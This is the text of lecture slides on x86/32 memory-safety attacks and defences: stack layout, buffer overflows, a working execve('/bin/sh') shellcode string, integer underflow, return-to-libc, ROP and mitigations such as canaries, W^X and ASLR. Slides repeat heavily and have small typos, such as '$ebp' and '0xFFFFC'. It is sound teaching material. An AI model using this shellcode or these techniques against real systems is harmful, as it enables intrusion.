ARCHITECTURE-LEVEL SECURITY VULNERABILITIES

CARSTEN WEINHOLD, BJÖRN DÖBEL
Architecture: x86/32

CPU:
- EAX, ESI
- EBX, EDI
- ECX, EBP
- EDX, ESP

General-purpose registers

EIP: Instruction pointer

Address Space:
- Kernel
- Stack
- BSS
- Data
- Text

Segment, FPU, control, MMX, … registers
The stack

- **Stack frame per function**
  - Set up by compiler-generated code

- **Used to store**
  - Function parameters
  - If not in registers – GCC: `__attribute__((regparm(<num>)))`
  - Local variables
  - Control information
    - Function return address
```c
int sum(int a, int b) {
    return a+b;
}

int main() {
    return sum(1,3);
}
```

```asm
sum:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
popl %ebp
ret

main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl $3, 4(%esp)
movl $1, (%esp)
call sum
ret
```
Assembly crash course

%<reg> refers to register content

Offset notation: X(%reg) == memory
Location pointed to by reg + X

sum:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
popl %ebp
ret

main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl $3, 4(%esp)
movl $1, (%esp)
call sum
ret

Constants prefixed with $ sign

(<%reg>) refers to memory location
pointed to by <reg>
Doing a function call

```
sum:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
leave
ret

main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl $3, 4(%esp)
movl $1, (%esp)
call sum
ret
```
Doing a function call

sum:
    pushl %ebp
    movl %esp, %ebp
    movl 12(%ebp), %eax
    addl 8(%ebp), %eax
    leave
    ret

main:
    pushl %ebp
    movl %esp, %ebp
    subl $8, %esp
    movl $3, 4(%esp)
    movl $1, (%esp)
    call sum
    ret
Doing a function call

sum:
  pushl %ebp
  movl %esp, %ebp
  movl 12(%ebp), %eax
  addl 8(%ebp), %eax
  leave
  ret

main:
  pushl %ebp
  movl %esp, %ebp
  subl $8, %esp
  movl $3, 4(%esp)
  movl $1, (%esp)
  call sum
  ret
Doing a function call

sum:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
leave
ret

main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl $3, 4(%esp)
movl $1, (%esp)
call sum
ret
Doing a function call

sum:
  pushl %ebp
  movl %esp, %ebp
  movl 12(%ebp), %eax
  addl 8(%ebp), %eax
  leave
  ret

main:
  pushl %ebp
  movl %esp, %ebp
  subl $8, %esp
  movl $3, 4(%esp)
  movl $1, (%esp)
  call sum
  ret
Doing a function call

```
sum:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
leave
ret

main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl $3, 4(%esp)
movl $1, (%esp)
call sum
ret
```
Doing a function call

```
sum:
pushl $ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
leave
ret

main:
pushl $ebp
movl %esp, %ebp
subl $8, %esp
movl $3, 4(%esp)
movl $1, (%esp)
call sum
ret
```
Doing a function call

```assembly
sum:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
leave
ret

main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl $3, 4(%esp)
movl $1, (%esp)
call sum
ret
```
Doing a function call

```
main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl $3, 4(%esp)
movl $1, (%esp)
call sum
ret

sum:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
leave
ret
```
Doing a function call

```
sum:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
leave
ret

main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl $3, 4(%esp)
movl $1, (%esp)
call sum
ret
```
Doing a function call

```
sum:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
leave
ret
```

```
main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl $3, 4(%esp)
movl $1, (%esp)
call sum
ret
```
Doing a function call

```
main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl $3, 4(%esp)
movl $1, (%esp)
call sum
ret
```

sum:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
leave
ret
Doing a function call

sum:
pushl %ebp
movl %esp, %ebp
movl 12(%ebp), %eax
addl 8(%ebp), %eax
leave
ret

main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
movl $3, 4(%esp)
movl $1, (%esp)
call sum
ret
Now let’s add a buffer

```c
int foo()
{
    char buf[20];
    return 0;
}

int main()
{
    return foo();
}
```

```assembly
foo:
pushl %ebp
movl %esp, %ebp
subl $32, %esp
movl $0, %eax
leave
ret

main:
pushl %ebp
movl %esp, %ebp
call foo
popl %ebp
ret
```
Now let’s add a buffer

```assembly
foo:
pushl %ebp
movl %esp, %ebp
subl $32, %esp
movl $0, %eax
leave
ret

main:
pushl %ebp
movl %esp, %ebp
call foo
popl %ebp
ret
```
Now let’s add a buffer

**foo:**
```assembly
pushl %ebp
movl %esp, %ebp
subl $32, %esp
movl $0, %eax
leave
ret
```

**main:**
```assembly
pushl %ebp
movl %esp, %ebp
call foo
popl %ebp
ret
```
Calling a libC function

```c
int foo(char *str)
{
    char buf[20];
    strcpy(buf, str);
    return 0;
}

int main(int argc,
         char *argv[])
{
    return foo(argv[1]);
}
```

foo:

```
pushl %ebp
movl %esp, %ebp
subl $36, %esp
movl 8(%ebp), %eax
movl %eax, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call strcpy
xorl %eax, %eax
leave
ret
```
Calling a libC function

```
foo:
    pushl %ebp
    movl %esp, %ebp
    subl $36, %esp
    movl 8(%ebp), %eax
    movl %eax, 4(%esp)
    leal -28(%ebp), %eax
    movl %eax, (%esp)
    call strcpy
    xorl %eax, %eax
    leave
    ret
```
Calling a libC function

foo:
pushl %ebp
movl %esp, %ebp
subl $36, %esp
movl 8(%ebp), %eax
movl %eax, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call strcpy
xorl %eax, %eax
leave
ret
Calling a libC function

foo:
pushl %ebp
movl %esp, %ebp
subl $36, %esp
movl 8(%ebp), %eax
movl %eax, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call strcpy
xorl %eax, %eax
leave
ret
Calling a libC function

```assembly
foo:
pushl %ebp
movl %esp, %ebp
subl $36, %esp
movl 8(%ebp), %eax
movl %eax, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call strcpy
xorl %eax, %eax
leave
ret
```
Calling a libc function

foo:
pushl %ebp
movl %esp, %ebp
subl $36, %esp
movl 8(%ebp), %eax
movl %eax, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call strcpy
xorl %eax, %eax
leave
ret
Calling a libC function

```
foo:
pushl %ebp
movl %esp, %ebp
subl $36, %esp
movl 8(%ebp), %eax
movl %eax, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call strcpy
xorl %eax, %eax
leave
ret
```
Calling a libC function

```
foo:
pushl %ebp
movl %esp, %ebp
subl $36, %esp
movl 8(%ebp), %eax
movl %eax, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call strcpy
xorl %eax, %eax
leave
ret
```

string = "Hello world"
Buffer overflow

foo:

```
pushl %ebp
movl %esp, %ebp
subl $36, %esp
movl 8(%ebp), %eax
movl %eax, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call strcpy
xorl %eax, %eax
leave
ret
```

string = "Lorem ipsum dolor sit amet, conseetetur"
Buffer overflow

foo:
pushl %ebp
movl %esp, %ebp
subl $36, %esp
movl 8(%ebp), %eax
movl %eax, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call strcpy
xorl %eax, %eax
leave
ret

string = "Lorem ipsum dolor sit amet, consetetur"
That's bad, isn't it?

**CVE-2023-24797 Detail**

**Description**
D-Link DIR882 DIR882A1_FW110B02 was discovered to contain a stack overflow in the sub_48AC20 function. This vulnerability allows attackers to cause a Denial of Service (DoS) or execute arbitrary code via a crafted payload.

**Severity**

- **CVSS 3.1 Severity and Metrics:**
  - Base Score: 9.9 CRITICAL

- **CVSS Version 3.0**
- **CVSS Version 2.0**

**QUICK INFO**
- **CVE Dictionary Entry:** CVE-2023-24797
- **NVD Published Date:** 04/06/2023
- **NVD Last Modified:** 04/13/2023
- **Source:** MITRE
Attack the stack!

- In general: find an application that uses
  1) A (preferrably character) buffer on the stack, and
  2) Improperly validates its input by
     - using unsafe functions (strcpy, sprintf), or
     - incorrectly checking input values
  3) Allows you to control its input (e.g., through user input)

- Craft input so that it
  - Contains arbitrary code to execute (shellcode), and
  - Overwrites the function's return address to jump into this crafted code
char *s = "/bin/sh";

execve(s, NULL, NULL);

movl $0xb, %eax
movl <s>, %ebx
movl $0x0, %ecx
movl $0x0, %edx
int $0x80

But where is s exactly?
Shell code problems

- With which address do we overwrite the return address?
- Where in memory is the string to execute?
- How to contain everything into a single buffer?
Finding exact jump target can be hard:

**NOP sled** increases hit probability:

**Heap Spraying:** - force application to allocate thousands of strings containing shell code
- jump to a random address and hope you hit a NOP sled
String buffer address

- **Assumptions**
  - We can place code in a buffer.
  - We can overwrite return address to jump to start of code.

- **Problem:**
  - We need to place a string (e.g., `/bin/sh`) and obtain a pointer to this string

- **Solution:**
  - Use ESP as pointer
String buffer address

mov $0xb, %eax
push $0x2f736800
push $0x2f62696e
mov %esp, %ebx
mov $0x0, %ecx
mov $0x0, %edx
int $0x80
String buffer address

```
mov $0xb, %eax
push $0x2f736800
push $0x2f62696e
mov %esp, %ebx
mov $0x0, %ecx
mov $0x0, %edx
int $0x80
```
String buffer address

mov $0xb, %eax
push $0x2f736800
push $0x2f62696e
mov %esp, %ebx
mov $0x0, %ecx
mov $0x0, %edx
int $0x80
String buffer address

mov $0xb, %eax
push $0x2f736800
push $0x2f62696e
mov %esp, %ebx
mov $0x0, %ecx
mov $0x0, %edx
int $0x80
String buffer address

```assembly
mov $0xb, %eax
push $0x2f736800
push $0x2f62696e
mov %esp, %ebx
mov $0x0, %ecx
mov $0x0, %edx
int $0x80
```
String buffer address

```
mov $0xb, %eax
push $0x2f736800
push $0x2f62696e
mov %esp, %ebx
mov $0x0, %ecx
mov $0x0, %edx
int $0x80
```
String buffer address

```
mov $0xb, %eax
push $0x2f736800
push $0x2f62696e
mov %esp, %ebx
mov $0x0, %ecx
mov $0x0, %edx
int $0x80
```
Encoding the string

- Usual target: unsafe string functions:
  - `strcpy()`: Copy string until terminating zero byte
    - *shell code must not contain zeros!*

- However:
  - `mov $0x0, %eax` → `0xc6 0x40 0x00 0x00`

- Must not use certain opcodes.
Replacing opcodes

- Find equivalent instructions:
  - Issue simple system calls (setuid()) that return 0 in register EAX on success
  - XOR %eax, %eax → 0x31 0xc0
  - CLTD
    - convert double word EAX to quad word EDX:EAX by sign-extension → can set EDX to 0 or -1

- Result: Contain all code and data within a single zero-terminated string.
Yes, working shell code!

```c
char *code = "\x31\xc0\x99\xb0\x0b\x52"
    "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
    "\x89\xe3\x89\xd1\xcd\x80";
int (*shell)() = (int(*)())code;
shell();
```
How to defend?

- Prevent malicious input from reaching the target
- Detect overflows
- Prevent execution of user-supplied code
- Negate shellcode's assumptions
- Sandboxing ⇒ next lecture
Restricting shell code

- No NULL bytes
  - Self-extracting shellcode

- Disallow non-alphanumeric input
  - Encode packed shellcode as alphanumeric data

- Heuristics to detect non-textual data
  - Encode packed shellcode into English-looking text [Mason09]
StackGuard

- Overflowing buffer may overwrite anything above
- Idea: detect overflowed buffers before return from function
StackGuard

- Overflowing buffer may overwrite anything above
- Idea: detect overflowed buffers before return from function
- Compiler-added canaries:
  - Initialized with random number
  - On function exit: verify canary value

Stack

Parameters
- Return address
- Local variables
- Canary
- Buffer
- More Local variables
StackGuard

- **Overhead:**
  - Fixed per function
  - [Cow98]: 40% - 125%
  - Faster now ⇒ on by default

- **Problem solved?**
  - Attacker has a chance of 1 in $2^{32}$ to guess the canary
    - Add larger canaries
  - Attack window left between overflow and detection
Stack ordering matters

```c
void foo(char *input) {
    void (*func)(char*); // function pointer
    char buffer[20];     // buffer on stack
    int i = 42;

    // overflows buffer
    strcpy(buffer, input);

    /* more code */
    func(input);
    /* more code */
}
```

Overflow attack

StackGuard check
Example stack layout

- Overflowing buf will overwrite the canary and the func pointer
- StackGuard will detect this
- But: only after func() has been called
Example stack layout

- Solution: compiler reorders function-local variables so that overflowing a buffer never overwrites a local variable

- GCC Stack smashing protection (\texttt{-fstack-protector})
  - Evolved from IBM ProPolice
  - Since 3.4.4 / 4.1
  - StackGuard + reordering + some optimizations
Fundamental problems

- User input gets written to the stack.
- x86 allows to specify only read/write rights.

- Idea:
  - Create programs so that memory pages are either writable or executable, never both.
  - $W^X$ paradigm

- Software: OpenBSD $W^X$, PaX, RedHat ExecShield
- Hardware: Intel XD, AMD NX, ARM XN
• User input ends up in writable stack pages.
• No execution of this data possible – problem solved.
• But: existing code assumes executable stacks
  • Windows contains a DLL function to disable execution prevention
    – used e.g. for IE <= 6
  • Nested functions: GCC generates trampoline code on stack
• Just-in-Time Compilation generates code at runtime
  • On heap
  • Still: hard to distinguish data and code
Circumventing $W^X$

- We cannot execute code on the stack directly
- We still can: Place data on the stack
  → integer over/under-flows

```c
void bar() { printf("Hello!\n"); }

void foo(char *string, int16_t idx)
{
  void (*magic_fn)(void) = bar;
  char buffer[16];

  strncpy(buffer + idx, string, 16-idx);

  /* do some more stuff... */

  magic_fn(); // call function pointer
}
```

Stack smashing protection places function pointer and buffer so that buffer overflow will never overwrite pointer.

`strncpy()` ensures that at no more bytes are copied from the source than will actually fit into the target buffer.
Integer underflow

Assumption: string and idx are user input

```c
void bar() { printf("Hello!\n"); }

void foo(char *string, int16_t idx)
{
    void (*magic_fn)(void) = bar;
    char buffer[16];

    strncpy(buffer + idx, string, 16-idx);

    /* do some more stuff... */

    magic_fn(); // call pointer
}
```
foo("hello", 0);

```c
void bar() { printf("Hello!\n"); }

void foo(char *string, int16_t idx)
{
    void (*magic_fn)(void) = bar;
    char buffer[16];
    strncpy(buffer + idx, string, 16-idx);
    /* do some more stuff... */
    magic_fn(); // call pointer
}

strncpy(buffer + 0, "hello", 16);
```
void bar() { printf("Hello!\n"); }  

void foo(char *string, int16_t idx)  
{  
    void (*magic_fn)(void) = bar;  
    char buffer[16];  
    
    strncpy(buffer + idx, string, 16-idx);  
    
    /* do some more stuff... */  
    
    magic_fn(); // call pointer  
}  

strncpy(buffer + 8, "1234567890", 8);
void foo(char *string, int16_t idx)
{
    ...
}

C expert question: What is the value of idx?

65532 = 0xFFFFC
= -4 (as signed 16bit integer)

strncpy(buffer - 4, "1234567890", 20);
Circumventing W^X

- Idea: modify return address to start of function known to be available
  - e.g., a libC function such as execve()
  - put additional parameters on stack, too

\textit{return-to-libC attack}
Chaining returns

- Not restricted to a single function:
  - Modify stack to return to another function after the first:

```
Param 3 for bar
  <addr bar>
Param 1 for foo
Param 2 for foo
  <addr foo>
```

Executing 'ret' with this stack state has the same effect as:

```
foo(param1, param2);
bar(param3);
```

- And why only return to function beginnings?
- x86 instructions have variable lengths (1 – 16 bytes)
  - → x86 allows jumping (returning) to an *arbitrary address*
- Idea: scan binaries/libs and find all possible ret instructions
  - Native RETs: `0xC3`
  - RET bytes within other instructions, e.g.
    - MOV %EAX, %EBX
      - `0x89 0xC3`
    - ADD $1000, %EBX
      - `0x81 0xC3 0x00 0x10 0x00 0x00`
Example instruction stream:

```
.. 0x72 0xf2 0x01 0xd1 0xf6 0xc3 0x02 0x74 0x08 ..
0x72 0xf2       jb <-12>
0x01 0xd1      add %edx, %ecx
0xf6 0xc3 0x02  test $0x2, %bl
0x74 0x08      je <+8>
```

Three byte forward:

```
.. 0xd1 0xf6 0xc3 0x02 0x74 0x08 ..
0xd1 0xf6      shl, %esi
0xc3           ret
```
Many different RETs

- Claim:
  - Any sufficiently large code base
    e.g. libC, libQT, ...
  - consists of 0xC3 bytes
    == RET
  - with sufficiently many different prefixes
    == a few x86 instructions terminating in RET
    (in [Sha07]: gadget)

- "sufficiently many": /lib/libc.so.6 on Debian Jessie
  - ~62,000 sequences (~31,000 unique)
Return-oriented programming

- Return addresses jump to code **gadgets** performing a small amount (1-3 instructions) of work
- Stack contains
  - Data arguments
  - Chain of addresses returning to gadgets
- Claim: This is enough to write arbitrary programs (and thus: shell code).

Return-oriented Programming
ROP: Load constant into register

EIP

ret

pop %edx
ret

0x00C0FFEE
Return Addr

ESP

EDX:

Stack
ROP: Load constant into register

Stack

ESP

0x00C0FFEE

EDX:

EIP

pop %edx

ret

ret
ROP: Load constant into register
ROP: Add 23 to EAX

1. `ret`
2. `pop %edi`
   `ret`
3. `pop %edx`
   `ret`
4. `addl (%edx), %eax`
   `push %edi`
   `ret`

EAX: 19
EDX: 0
EDI: 0

ptr to 23

23
ROP: Add 23 to EAX

1. ret
2. pop %edi
   ret
3. pop %edx
   ret
4. addl (%edx), %eax
   push %edi
   ret

EAX: 19
EDX: 0
EDI: 0
ROP: Add 23 to EAX

(1) ret
(2) pop %edi
   ret
(3) pop %edx
   ret
(4) addl (%edx), %eax
   push %edi
   ret

EAX: 19
EDX: 0
EDI: addr of (1)

ptr to 23
(4)
(3)
(1)
(2)

ESP

EIP
ROP: Add 23 to EAX

(1) ret
(2) pop %edi  
    ret
(3) pop %edx  
    ret
(4) addl (%edx), %eax  
    push %edi  
    ret

ESP

EIP

EAX: 19
EDX: 0
EDI: addr of (1)

ptr to 23
ROP: Add 23 to EAX

(1) ret

(2) pop %edi
   ret

(3) pop %edx
   ret

(4) addl (%edx), %eax
   push %edi
   ret

EAX: 19
EDX: addr of '23'
EDI: addr of (1)
ptr to 23
23
ROP: Add 23 to EAX

(1) ret
(2) pop %edi
   ret
(3) pop %edx
   ret
(4) addl (%edx), %eax
    push %edi
    ret
ROP: Add 23 to EAX

1. ret
2. pop %edi
   ret
3. pop %edx
   ret
4. addl (%edx), %eax
   push %edi
   ret

EAX: 42
EDX: addr of '23'
EDI: addr of (1)
ROP: Add 23 to EAX

1. ret
2. pop %edi
   ret
3. pop %edx
   ret
4. addl (%edx), %eax
   push %edi
   ret
More samples in the paper – it is assumed to be Turing-complete.

Problem: need to use existing gadgets, limited freedom
  Yet another limitation, but no show stopper.

Good news: Writing ROP code can be automated, there is a C-to-ROP compiler.
Preventing ROP

- ROP relies on code & data always being in the same location
  - Code in app's text segment
  - Return address at fixed location on stack
- Libraries loaded by dynamic loader
- Idea: Randomize layout
Address space layout randomization

Diagram showing the address space layout of a computer program, including:
- Kernel
- Stack
- BSS
- Data
- libstdc++.so.6
- libpthread.so.1
- libc.so.6
- Program text

The diagram illustrates how different libraries and program sections are arranged in the address space.
Return-to-* attacks need to guess where targets are.

Implementation-specific limitations on Linux-x86/32:
- Can only randomize 16 bits for stack segment → one right guess in ~32,000 tries
- Newly spawned child processes inherit layout from parent

Guess-by-respawn attacks known
- Much harder to guess on modern 64-bit systems
Preventing RET gadgets

- Stack smashing: we can replace 00 bytes by using different instructions
- Now, we can do the same thing with 0xC3 bytes
  - [Li2010]:
    - compiler can use non-C3 instructions
    - <10% overhead for most application benchmarks
- And then …
  - [Che2010]:
    - "Return-oriented programming without returns"
Things I didn’t mention

- Using printf() to overwrite memory content – *Format string attacks*
- Using malloc/free to modify memory
  - Heap overflows
  - C++ vtable pointers
- Kernel-level: rootkits
- Sandboxing (Virtual Machines, BSD Jails, SFI/XFI/NaCl)
- Web-based attacks
"It's an arms race."

If it gets too hard to attack your PC, then let's attack your mobile phone ...

Is all lost? - Maybe.
Further Reading

- Phrack magazine [http://phrack.org](http://phrack.org)
- H. Shacham et al. "On the Effectiveness of Address-Space Randomization" ACM CCS 2004
Further Reading

- B. Yee et al. "*Native Client: A Sandbox for Portable, Untrusted x86 Native Code*” IEEE Security&Privacy 2009
- Google Chromium Blog: *A Tale of 2 Pwnies (Part 1+2)*
  http://blog.chromium.org/2012/05/tale-of-two-pwnies-part-1.html